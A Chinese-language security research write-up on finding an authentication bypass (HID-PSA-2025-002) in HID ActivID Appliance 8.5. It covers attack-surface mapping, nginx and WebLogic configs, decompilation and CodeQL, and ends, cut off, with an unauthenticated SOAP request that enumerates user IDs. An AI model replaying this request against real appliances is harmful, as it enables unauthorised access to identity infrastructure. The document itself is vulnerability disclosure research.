ActivID 身份验证绕过漏洞分析:从攻击面测绘到管理员账户接管

本文详细分析了在HID ActivID Appliance 8.5中发现的一处SOAP API身份验证绕过漏洞(HID-PSA-2025-002)。攻击者可通过该漏洞在未经验证的情况下访问特权API功能,最终导致完全的管理员账户接管。

ActivID 管理员账户接管:幕后故事

2025年9月,我们受客户委托对特定产品进行安全评估:HID公司的ActivID Appliance。据供应商称,该产品在全球范围内用于保护关键基础设施和数据的访问,支持多种身份验证方法,包括推送验证、OTP、PKI凭证和静态凭证。本文将详细介绍我们发现HID-PSA-2025-002漏洞的方法论,这是一个存在于SOAP API中的身份验证绕过漏洞,可导致获取应用程序的管理员访问权限。

目录

前言

本文有意提供详细内容,以展示与白盒代码分析相关的尽可能多的方法论方面。如果您只对解释漏洞的部分感兴趣,请参考HID-PSA-2025-002安全公告或直接跳转到调查可疑行为部分。

产品识别

我们的首要目标是识别产品的确切版本,因为HID下载页面上提供了多个版本。我们客户提供的信息只有应用程序的URL。从那里,我们注意到的唯一版本标识符是客户实例HTML页脚许可协议中的以下标识符:v080620。该标识符仅能在其网站上可下载的PDF格式的EULA 8.5版本中找到。因此,按照安装指南,我们获得了该设备8.5版本的适当VMware虚拟化实例,从而获得了对机器的完全root访问权限。

攻击面发现

这部分起初可能看起来很枯燥,但正确理解暴露的路由和服务是进行适当白盒审查的关键步骤。在本案例中,我们认为对每个服务的细致分析极大地促进了漏洞的发现。

我们的研究聚焦于远程攻击面,因此首先进行经典的nmap扫描:

1
2
3
4
5
6
$ nmap -p- -sV hid --open
PORT     STATE SERVICE  VERSION
40/tcp   open  ssh      OpenSSH 7.4 (protocol 2.0)
443/tcp  open  ssl/http nginx
1005/tcp open  ssl/http nginx
8443/tcp open  ssl/http nginx

登录VM后,我们开始枚举监听服务:

1
2
3
4
5
$ ss -ntalp
State        Local Address:Port    Process
LISTEN             0.0.0.0:3000     users:(("java",pid=3038,fd=58))
LISTEN           127.0.0.1:7800     users:(("java",pid=3038,fd=55))
[...]
  • 监听端口8443、8445、1005和1006的Java进程
  • nmap中在端口443上可见的nginx反向代理

可以注意到,使用nmap时这些Java进程并未显示为开放状态,这可以通过列出防火墙规则来解释:

1
2
3
4
5
6
7
$ iptables -nvL
[...]
Chain IN_public_allow (1 references)
 pkts bytes target     prot opt in     out     source               destination
15719  943K ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:443 ctstate NEW,UNTRACKED
   17  1020 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:1005 ctstate NEW,UNTRACKED
[...]

对于TCP,仅允许访问端口40、443(https)、1005和1006。

由于端口443在互联网上开放,我们开始理解nginx代理的配置。

调查nginx Nginx审查从读取/etc/nginx.conf文件开始:

1
2
3
4
5
6
user  nginx;
worker_processes  2;

http {
   include /etc/nginx/conf.d/*.conf;
}

在我们的案例中,这个主配置文件只包含/etc/nginx/conf.d/文件夹内的其他配置文件:

1
2
3
$ ls -l /etc/nginx/conf.d/*.conf
-rwx------ 1 root root 2005 Jun 20  2017 /etc/nginx/conf.d/default.conf
-rw-r--r-- 1 root root  652 Dec 18  2020 /etc/nginx/conf.d/web_activid.conf

这里有趣的文件是web_activid.conf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
upstream weblogic8445 {
        keepalive 30;
        server 127.0.0.1:8445;
}

upstream weblogic8443 {
        keepalive 30;
        server 127.0.0.1:8443;
}

upstream webmin {
    server 127.0.0.1:1007;
}

include /etc/nginx/include/TLS1.conf;
include /etc/nginx/include/TLS2.conf;
[...]

定义了两个上游字段:weblogic8443weblogic8445,分别指向本地主机8445和8443端口的HTTP服务。然后包含了一些其他配置文件,根据其命名,这些文件可能定义了TLS服务和相互TLS服务。

/etc/nginx/include/TLS1.conf定义如下:

1
2
3
4
5
6
7
8
9
server {
        listen 443 ssl ;
        listen [::]:443 ssl ;
        ssl_verify_client off;
        # ...
        set $upstream weblogic8445;
        # ...
        include /etc/nginx/include/app/TLS1/*.conf;
}

回到TLS1配置,这里定义了一个监听443端口的服务器,将变量$upstream设置为weblogic8445,并包含位于/etc/nginx/include/app/TLS1中的一些服务器配置:

1
2
3
4
5
$ ls -l /etc/nginx/include/app/TLS1
total 0
lrwxrwxrwx 1 root root 48 Sep  2 17:11 AuthenticationPortal.conf -> /etc/nginx/include/app/AuthenticationPortal.conf
[...]
lrwxrwxrwx 1 root root 35 Sep  2 17:11 SoapAPI.conf -> /etc/nginx/include/app/SoapAPI.conf

它们都是指向/etc/nginx/include/app/中对应文件的符号链接。例如,AuthenticationPortal.conf文件:

1
2
3
4
5
6
7
8
9
location /idp/ {
        proxy_pass https://$upstream;
}

# OpenID
location ~ /idp/[^/]+/authn/ {
        proxy_pass https://$upstream;
        include /etc/nginx/include/openiderrorhandling.conf;
}

类似地,SoapAPI.conf文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
location ^~ /4TRESS/ {
        proxy_pass https://$upstream;
        limit_except POST {
                deny all;
        }
        if ($request_uri ~* "(?:wsdl|xsd)$") {
                return 404;
        }
        include /etc/nginx/include/soaperrorhandling.conf;
}

location ^~ /ac-iasp-backend-jaxws/ {
        proxy_pass https://$upstream;
        limit_except POST {
                deny all;
        }
        if ($request_uri ~* "(?:wsdl|xsd)$") {
                return 404;
        }
        include /etc/nginx/include/soaperrorhandling.conf;
}

可以观察到这些配置文件遵循相同的逻辑:使用location指令(例如/idp/),将HTTP请求从nginx重路由到由nginx变量$upstream定义的服务器。幸运的是,该变量先前已定义,在本例中为weblogic8445,它指向在本地主机8445端口上托管的HTTP服务器!

提取所有路径和目标后,可以观察到以下路由:

1
2
3
nginx:443 -> /idp/* -> weblogic8445:8445 -> idp WAR
nginx:443 -> /ac-iasp-backend-jaxws/* -> weblogic8445:8445 -> JAXWS services
[...]

调查Java服务 列出进程时,端口8445确实被列为Java进程。完整的Java进程信息及其参数检索如下:

1
2
3
4
5
6
7
$ lsof -i :8445
COMMAND  PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java    3301 ftuser 1005u  IPv4  50538      0t0  TCP hid:copy (LISTEN)

$ ps -fwwp 3301
UID         PID   PPID  C STIME TTY          TIME CMD
ftuser     3301   3247  0 14:19 ?        00:02:29 /usr/java/default/bin/java -server -Xms2048m -Xmx2048m -Dweblogic.Name=ActivIDServer [...]

简而言之,这个Java命令:

  • 通过weblogic.Server类启动Weblogic web服务器的实例
  • 设置其一些属性和功能(stdin、stdout、内存使用、密码套件等)
  • 配置位于/opt/hid/weblogic/config/activid_domain的域
  • 配置一些特定于应用程序的变量,例如activid.enable.monitoring.servlet

对于Weblogic,域不过是一个包含实例化一个或多个Java应用程序所需的所有资源的文件夹。在这样的文件夹中,根据文档,config文件夹内应该有一个config.xml文件:

1
2
$ ls -lah /opt/hid/weblogic/config/activid_domain/config/config.xml
-rw-rw---- 1 ftadmin ftgroup 12K Sep  2 17:15 /opt/hid/weblogic/config/activid_domain/config/config.xml

这样的XML文件包含域内启动的每个Java应用程序的列表,以及一些其他参数(监听端口、日志格式等)。这些应用程序可以部署为:

  • WAR(Web应用程序归档):包含单个Java Web应用程序的归档文件:静态HTML文件、Servlet中的业务逻辑、JSP文件、Java库(jar扩展名)等。此类应用程序由配置文件web.xml配置,该文件位于提取.war文件后的WEB-INF/web.config中。
  • EAR(企业应用程序归档):包含一个或多个要部署的WAR文件或其他Java功能(如EJB)的归档文件。当需要在应用程序之间共享代码,甚至只是分组部署时,会使用这种格式。此类应用程序由提取.ear文件后的/WEB-INF/application.xml配置文件配置。

在我们的案例中,Weblogic config.xml配置如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<server>
    <name>ActivIDServer</name>
    <ssl>
      <name>ActivIDServer</name>
          <listen-port>8445</listen-port>
    </ssl>
  <!-- ... -->
  <app-deployment>
    <name>4TRESS-EAR</name>
    <module-type>ear</module-type>
<source-path>/opt/hid/weblogic/product/Oracle_Home/user_projects/applications/activid_domain/activid-authentication-services-weblogic.ear</source-path>
  </app-deployment>
  <app-deployment>
    <name>ACTIVID-MC</name>
    <module-type>war</module-type> <source-path>/opt/hid/weblogic/product/Oracle_Home/user_projects/applications/activid_domain/activid-management-console-weblogic.war</source-path>
  </app-deployment>
[...]
</app-deployment>

分析此文件确认Java应用程序确实在8445端口上监听,最重要的是提供了部署的EAR和WAR的文件路径,其中包含应用程序正在执行的Java代码。

理解基本的Java Web应用程序架构 EAR文件格式在深入研究Java代码之前,让我们了解一下Java应用程序的工作原理。为此,我们来看一下activid-authentication-services-weblogic.ear的架构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ unzip activid-authentication-services-weblogic.ear -d activid-authentication-services-weblogic
$ tree ./activid-authentication-services-weblogic/
./activid-authentication-services-weblogic
├── ac-4tress-core.jar
├── ac-4tress-scim-configuration.war
├── ac-4tress-scim.war
├── ac-iasp-backend.jar
├── activid-authentication-portal-weblogic.war
├── activid-health-check.war
├── lib
   ├── ac-4tadap-samlproc.jar
   ├── ac-4tadap-spi.jar
   ├── ac-4tcore-api.jar
 ...
   ├── commons-discovery-0.5.jar
   ├── commons-fileupload-1.3.3.jar
   └── xmlsec-2.2.0.jar
└── META-INF
    ├── application.xml
    ├── jboss-deployment-structure.xml
    ├── jboss-permissions.xml
    ├── MANIFEST.MF
    ├── was.policy
    └── weblogic-application.xml

解压EAR时,您看到的是打包为多个模块的完整企业应用程序。.war文件是Web应用程序(REST端点、UI、Servlet),而像ac-4tress-core.jarac-iasp-backend.jar这样的.jar文件是EJB模块,为这些Web应用程序提供后端服务。lib/目录包含对EAR中每个模块可见的共享库,允许将公共代码集中而不是重复。META-INF/目录保存部署描述符:weblogic-application.xml用于WebLogic特定调优,其他容器的各种供应商描述符,最重要的是application.xml,它通过列出每个模块并告诉应用程序服务器如何部署它们来定义EAR的结构。该文件如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<application>
  <display-name>ActivID Authentication Services</display-name>
  <application-name>4TRESS-EAR</application-name>
  <initialize-in-order>true</initialize-in-order>
  <module>
    <ejb>ac-4tress-core.jar</ejb>
  </module>
  <module>
    <ejb>ac-iasp-backend.jar</ejb>
  </module>
  <module>   
    <web>     
      <web-uri>activid-health-check.war</web-uri>
      <context-root>AIHealthCheck</context-root>
    </web>
  </module>
   <module>   
    <web>     
      <web-uri>ac-4tress-scim.war</web-uri>
      <context-root>scim</context-root>
    </web>
  </module>
  [...]
  <module>
    <web>
      <web-uri>activid-authentication-portal-weblogic.war</web-uri>
      <context-root>idp</context-root>
    </web>
  </module>
</application>

这里,多个Web模块,例如activid-authentication-portal-weblogic.war Web应用程序。context-root元素表示URL内的起始点,在本例中为idp。因此,任何形式为http://hid/idp/的HTTP请求将被WebLogic转发到相关联的WAR:activid-authentication-portal-weblogic.war

在审查此XML后,我们现在对应用程序及其架构的理解如下:

1
2
3
4
5
nginx -> weblogic8445:8445 -> 4TRESS-EAR
                             ├── ac-4tress-core.jar (EJB)
                             ├── ac-iasp-backend.jar (EJB)
                             ├── activid-authentication-portal-weblogic.war (Web app, /idp/*)
                             └── ...

WAR文件格式以activid-authentication-portal-weblogic.war为例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
$ mkdir activid-authentication-portal-weblogic
$ cd activid-authentication-portal-weblogic                                                                                                                                                                                                                                                                                  $ unzip ../activid-authentication-portal-weblogic.war
[...]
$ tree .
.
├── about.xhtml
├── auth
│   ├── actions-body.xhtml
│  [...]
│   └── reset-password.xhtml
├── authn
│   ├── login.xhtml
│   └── token.xhtml
├── binding
│   ├── login-artifact.xhtml
│  [...]
│   ├── nameid-redirect.xhtml
│   └── single-logout-post.xhtml
├── common
│   ├── applet
│   │   └── applet.xhtml
│   ├── error.xhtml
│   └── required.xhtml
│  [...]
├── index.html
├── license.xhtml
├── META-INF
│   ├── MANIFEST.MF
│   └── was.policy
├── nocookie.xhtml
├── resources
│   ├── csrfguard.js
│   ├── css
│   │   └── theme.css
│   └── js
│       ├── base64url-arraybuffer.js
│       └── webauthn.js
├── timeout.xhtml
└── WEB-INF
    ├── beans.xml
    ├── ejb-jar.xml
    ├── jboss-web.xml
    ├── lib
    │   ├── ac-iasp-frontend.jar
    │   ├── ac-iasp-frontend-jaxws.jar
    │   ├── ac-inputval-esapi.jar
    │   ├── ac-oauth20sdk.jar
    │   ├── ai-4tress-samlidp.jar
    │   ├── commons-lang3-3.7.jar
    │   ├── csrfguard.jar
    │   ├── esapi-2.1.0.1.jar
    │   ├── lang-tag-1.4.3.jar
    │   ├── oauth2-oidc-sdk-5.63.jar
    │   └── primefaces-6.2.jar
    ├── weblogic-ejb-jar.xml
    ├── weblogic.xml
    └── web.xml

我们终于开始看到与Web应用程序相关的文件,例如一些呈现UI的HTML(xhtml和html)文件。例如,浏览到https://hid/idp/common/error.xhtml页面呈现以下内容:

此页面正确对应于我们刚刚从war中提取的activid-authentication-portal-weblogic/common/error.xhtml文件。

在文件布局中,WEB-INF目录很突出。它包含所有应用程序本地依赖项的jar,例如将处理由xhtml文件触发的操作或针对暴露的Java Web Servlet的请求的类。Java Servlet是通过HTTP可访问的类:所有基于Java Web的应用程序的基本构建块。

虽然触发xhtml文件是直接的,因为只需要知道文件的路径和Java faces模块的配置,但对于Servlet,我们必须首先查看web.xml文件以了解发生了什么。该文件为我们提供了大量信息以映射攻击面,因为它定义了:

  • Servlet,在servlet标签内,与其Java类相关联,以及它们在servlet-mapping标签内的URL
  • 在servlet操作之前(HTTP请求)和之后(HTTP响应)应用的过滤器(filter标签)(理解为中间件),以及它们适用的URL(filter-mapping标签)
  • 类和参数实例化

让我们剖析来自activid-authentication-portal-weblogic WAR的那个(为清晰起见部分被截断):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
$ cat activid-authentication-portal-weblogic/WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app>
	<display-name>ActivID Authentication Portal</display-name>
   	<servlet>
		<servlet-name>Faces Servlet</servlet-name>
		<servlet-class>javax.faces.webapp.FacesServlet</servlet-class>
		<load-on-startup>1</load-on-startup>
	</servlet>
	<servlet-mapping>
		<servlet-name>Faces Servlet</servlet-name>
		<url-pattern>*.xhtml</url-pattern>
	</servlet-mapping>
   <!-- ... other servlets are declared -->
	<servlet>
		<description></description>
		<display-name>SamlArtResolverServlet</display-name>
		<servlet-name>SamlArtResolverServlet</servlet-name>
		<servlet-class>com.actividentity.idp.servlet.SamlArtResolverServlet</servlet-class>
	</servlet>
	<servlet-mapping>
		<servlet-name>SamlArtResolverServlet</servlet-name>
		<url-pattern>/binding/artifact-resolution</url-pattern>
	</servlet-mapping>
	<filter>
		<filter-name>ProtocolFilter</filter-name>
		<filter-class>javax.faces.webapp.FacesServlet</filter-class>
	</filter>
   <!-- ... other filters are declared -->
	<filter>
		<filter-name>SecurityWrapper</filter-name>
		<filter-class>com.hidglobal.ia.security.inputval.esapi.SecurityWrapper</filter-class>
	</filter>
	<filter-mapping>
		<filter-name>ProtocolFilter</filter-name>
		<url-pattern>/*</url-pattern>
	</filter-mapping>
   <!-- ... other filter mappings are declared -->
	<filter-mapping>
		<filter-name>Security Filter</filter-name>
		<url-pattern>/*</url-pattern>
		<dispatcher>REQUEST</dispatcher>
		<dispatcher>FORWARD</dispatcher> 
		<dispatcher>ERROR</dispatcher>
	</filter-mapping>
   <!-- ... -->
</web-app>

这里定义了多个servlet。例如,任何形式为/idp/binding/artifact-resolution的请求将被转发到com.actividentity.idp.servlet.SamlArtResolverServlet servlet,如映射中所引用。同样,任何匹配/idp/*.xhtml的URL将被转发到javax.faces.webapp.FacesServlet servlet。然而,在到达这些类之前,HTTP请求将通过声明的过滤器列表(如果它们匹配filter-mapping)。在此示例中,任何请求(/*)将进入ProtocolFilter,然后进入Security Filter,其代码分别声明在javax.faces.webapp.FacesServletcom.hidglobal.ia.security.inputval.esapi.SecurityWrapper类中。

最后,为了找到哪个Java库(jar文件)声明了已识别的类,一个简单的grep就可以完成工作。例如,对于com.actividentity.idp.servlet.SamlArtResolverServlet

1
2
3
4
5
6
$ cd activid-authentication-portal-weblogic/WEB-INF/lib/
$ rg -al 'com.actividentity.idp.servlet.SamlArtResolverServlet'
ai-4tress-samlidp.jar
$ unzip -l ai-4tress-samlidp.jar
[...]
2961  2020-12-18 17:10 com/actividentity/idp/servlet/SamlArtResolverServlet.class

现在我们理解了web.xml如何将URL映射到Java类,我们现在的理解如下(注意我们仅部分详细说明先前的activid-authentication-portal-weblogic WAR布局):

1
2
3
4
URL /idp/binding/artifact-resolution
    -> web.xml mapping
    -> SamlArtResolverServlet class
    -> ai-4tress-samlidp.jar

反编译101 在这一点上,我们现在能够理解从nginx到特定servlet的路由,从而理解负责处理业务逻辑的Java类。然而,我们现在需要能够阅读Java代码以识别可能的漏洞。这就是反编译的用武之地。

多种工具可用于反编译Java字节码。在我们的研究期间,我们使用了vineflower,一个基于JetBrain的Fernflower反编译器的现代Java反编译器。

对于反编译,我们将针对EJB jar文件以及提取的WAR文件的lib目录中的所有jar:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ ls -l
-rw-r--r-- 1 user user 3203575 Nov 17 16:08 ac-4tress-core.jar
-rw-r--r-- 1 user user  125721 Nov 17 16:08 ac-iasp-backend.jar
[...]

$ fdfind '\.jar$' | parallel java -jar ~/tools/vineflower.jar {} ./out/
[...]
INFO:  Decompiling class com/actividentity/service/iasp/frontend/wallet/jaxws/WalletService
INFO:  ... done
[...]

最后使用诸如VSCode之类的IDE,可以访问刚刚获得的代码,例如SamlArtResolverServlet Java源代码:

完成我们的调试环境 现在我们已经澄清了攻击面并且能够阅读Java,我们想要添加一个调试存根,以便能够从我们最喜欢的IDE设置断点以进行进一步分析。进程检查指出我们的Java应用程序是从PPID为3315的进程启动的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ ps -fwwp 3315
UID         PID   PPID  C STIME TTY          TIME CMD
ftuser     3315      1  0 02:40 ?        00:00:00 /bin/sh /opt/hid/weblogic/config/activid_domain/bin/startWebLogic.sh
$ cat /opt/hid/weblogic/config/activid_domain/bin/startWebLogic.sh
[...]
DOMAIN_HOME="/opt/hid/weblogic/config/activid_domain"
. ${DOMAIN_HOME}/bin/setDomainEnv.sh $*
SAVE_JAVA_OPTIONS="${JAVA_OPTIONS}"
[...]
${JAVA_HOME}/bin/java ${JAVA_VM} ${MEM_ARGS} -Dweblogic.Name=${SERVER_NAME} -Djava.security.policy=${WLS_POLICY_FILE} ${JAVA_OPTIONS} ${PROXY_SETTINGS} ${SERVER_CLASS}  >"${WLS_REDIRECT_LOG}" 2>&1

这个startWebLogic.sh bash脚本设置了一些环境变量和选项,然后传递给java命令。因此,我们可以劫持此脚本以在我们的weblogic服务器上添加调试存根:

1
JAVA_OPTIONS="${SAVE_JAVA_OPTIONS} -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"

重新启动Web服务器后,我们可以确认JDWP侦听器正确运行:

1
2
3
$ reboot
$ ss -untalp | grep 5005
tcp    LISTEN  0       1                   0.0.0.0:5005           0.0.0.0:*      users:(("java",pid=3446,fd=628)

我们还配置了我们的IDE以附加到远程JVM:

使用CodeQL进行快速SAST分析

在进行深入手动审查之前,我们通常会对代码进行快速SAST分析。我们特别喜欢用于Java源代码的CodeQL,因为它是免费的并且由社区维护良好。它允许使用基于逻辑的语言编写查询来查找模式:不安全的反序列化路径、中断的身份验证流程、SQL中危险的字符串连接或任何其他遵循代码中结构性模式的内容。

构建数据库 使用CodeQL的第一步是构建数据库。该数据库将包含从代码库中提取的可查询数据。更具体地说,它将包含代码的完整层次表示,包括抽象语法树、数据流图和控制流图的表示。大多数情况下,对于编译语言,运行SAST分析涉及使用源代码构建项目。

这对我们来说可能是个问题,因为我们没有源代码,只有从已识别的应用程序存档中提取的反编译版本。

然而,在2025年6月,CodeQL引入了一项革命性的新功能,称为build-mode nonebuild-mode none选项可用于在不构建源代码的情况下创建数据库(目前支持仅限于C/C++、C#、Java和Rust)。

成功提取应用程序源后,我们使用以下命令创建了一个CodeQL数据库:

1
$ codeql database create ~/codeql/databases/activid-authentication-services-weblogic-8.5 --language java --build-mode none -s activid-authentication-services-weblogic_vineflower/

注意:在处理大型项目时,将分析限制在自定义库和源代码通常是个好主意。为此,只需在创建数据库之前避免反编译第三方库。

运行分析 下一步是在我们新构建的数据库上运行CodeQL查询。按原样运行CodeQL分析器,没有任何进一步参数,将自动检测数据库语言并在目标上运行默认查询,这是一个良好的起点。然而,我们通常喜欢运行额外的查询,例如来自GithubSecurityLab的查询,它们允许识别更多的安全问题。

首先下载适当的包:

1
2
3
$ codeql pack download "codeql/java-all@*"
$ codeql pack download "codeql/java-queries@*"
$ codeql pack download "githubsecuritylab/codeql-java-queries"

然后,为了启动我们刚刚下载的包中的预构建安全查询,我们可以使用CodeQL查询套件。为此,我们创建了一个名为javasec.qls的查询套件文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
- queries: .
  from: codeql/java-queries
- queries: '.'
  from: githubsecuritylab/codeql-java-queries
- include:
    kind:
      - problem
      - path-problem
    tags contain: security
- exclude:
    tags contain:
      - debugging
      - audit
      - template
- exclude:
    query path:
      - /testing\/.*/

最后,我们针对数据库启动查询套件:

1
$ codeql database analyze ~/codeql/databases/activid-authentication-services-weblogic-8.5/ --format=sarif-latest -o activid-authentication-services-weblogic-8.5.sarif javasec.qls

这里我们选择SARIF(静态分析结果交换格式)输出格式。如其名称所示,此格式受到SAST工具的广泛支持。

注意:数据库分析可能消耗资源,您可以使用--ram--threads选项调整传递给CodeQL的资源。

解释结果 我们喜欢使用带有SARIF查看器扩展的VSCode来解释结果:

虽然一些结果起初看起来很有希望,但经过深入审查后,大多数报告的漏洞被认定为误报,要么是因为我们找不到任何方法到达提到的代码,要么是因为污染的数据在到达检测到的接收器之前被清理。

手动审查应用程序源代码

这部分通常非常耗时。为了将这篇博文保持在合理的大小,我们不会在这里进行太多细节讨论。基本上有两种可以结合的方法。第一种,自上而下的方法,涉及跟踪在攻击面发现阶段识别的每条路由。第二种,自底向上的方法,涉及grep已知易受攻击的函数或模式,并尝试识别到达这些位置的路径,正如我们首先使用CodeQL所做的那样。最后,两种方法可以结合成一种混合方法,您获取尽可能多的信息以尝试将入口点链接到接收器。调试器在尝试理解如何到达代码的特定部分时可能非常有帮助。

我们在/ssp/idp端点上花费了大量时间,因为这两个端点被最终用户大量使用。

在花了一些时间审查代码但没有结果后,我们决定尝试不同的方法,并开始动态地与迄今为止检测到的所有端点进行交互。

在我们的攻击面分析期间,我们记得我们识别了一些SOAP相关端点,这些端点由/etc/nginx/include/app/SoapAPI.conf nginx配置的命名指出,但直到现在我们还无法与这些端点交互:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# ...
location ^~ /ac-iasp-backend-jaxws/ {
        proxy_pass https://$upstream;
        limit_except POST {
                deny all;
        }
        if ($request_uri ~* "(?:wsdl|xsd)$") {
                return 404;
        }
        include /etc/nginx/include/soaperrorhandling.conf;
}

经过一些谷歌搜索,我们意识到JAXWS代表Jakarta XML Web Services,这是一种通过定义Java类来暴露SOAP服务的方式。例如,UserManager服务定义如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
File: com/actividentity/service/iasp/backend/bean/UserManagerBean.java
34: @WebService(
35:    name = "UserManager",
36:    serviceName = "UserService",
37:    targetNamespace = "http://jaxws.user.frontend.iasp.service.actividentity.com"
38: )
39: @HandlerChain(
40:    file = "/LoginHandlerChain.xml"
41: )
42: @TransactionAttribute(TransactionAttributeType.NEVER)
43: public class UserManagerBean extends ProcessManager implements UserManagerLocal, UserManagerRemote 

如文档所示,这个WebService装饰器应该创建一个名为UserService的端点,其WSDL(Web服务描述语言)文档应该可以在/ac-iasp-backend-jaxws/UserService?wsdl访问。因此,首先,我们修改了nginx配置以允许发送除POST之外的其他HTTP动词,并允许访问以wsdl或xsd结尾的URL:

1
2
3
4
location ^~ /ac-iasp-backend-jaxws/ {
        proxy_pass https://$upstream;
        include /etc/nginx/include/soaperrorhandling.conf;
}

现在访问UserService SOAP文档端点给出以下内容:

拥有SOAP端点的WSDL格式允许我们启动Wsdler Burp扩展,以解析WSDL和引用的XSD并拥有预构建的HTTP请求:

生成的请求远非完美,但该扩展使整个生成过程变得容易得多,并允许与SOAP端点无缝交互。以下是UserManager端点的示例:

在这一点上,只有我们中的一个人查看了应用程序的这一部分,因此发生了以下情况:

确实,在Vincent的实例上,以下请求有效:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
POST /ac-iasp-backend-jaxws/UserManager  HTTP/1.1
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: hid:443
Content-Length: 391

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
   <soapenv:Header/>
   <soapenv:Body>
      <jax:findUserIds>
         <arg0></arg0>
         <!--type: long-->
         <arg1>testu7</arg1>
         <!--type: long-->
      </jax:findUserIds>
   </soapenv:Body>
</soapenv:Envelope>

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 09 Sep 2025 17:49:05 GMT
Content-Type: text/xml; charset=utf-8
Connection: keep-alive
X-ORACLE-DMS-ECID: 9eb94a90-9da2-4982-bc84-65fb42ed1688-0000029f
X-ORACLE-DMS-RID: 0
Content-Length: 953

<?xml version='1.0' encoding='UTF-8'?>
<S:Envelope
        xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
        <S:Body>
                <ns1:findUserIdsResponse
                        xmlns:ns1="http://jaxws.user.frontend.iasp.service.actividentity.com">
                        <!-- ... -->
                        <return>
                                <id>spl-helpdesk</id>
                                <type>User</type>
                        </return>
                        <return>
                               
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计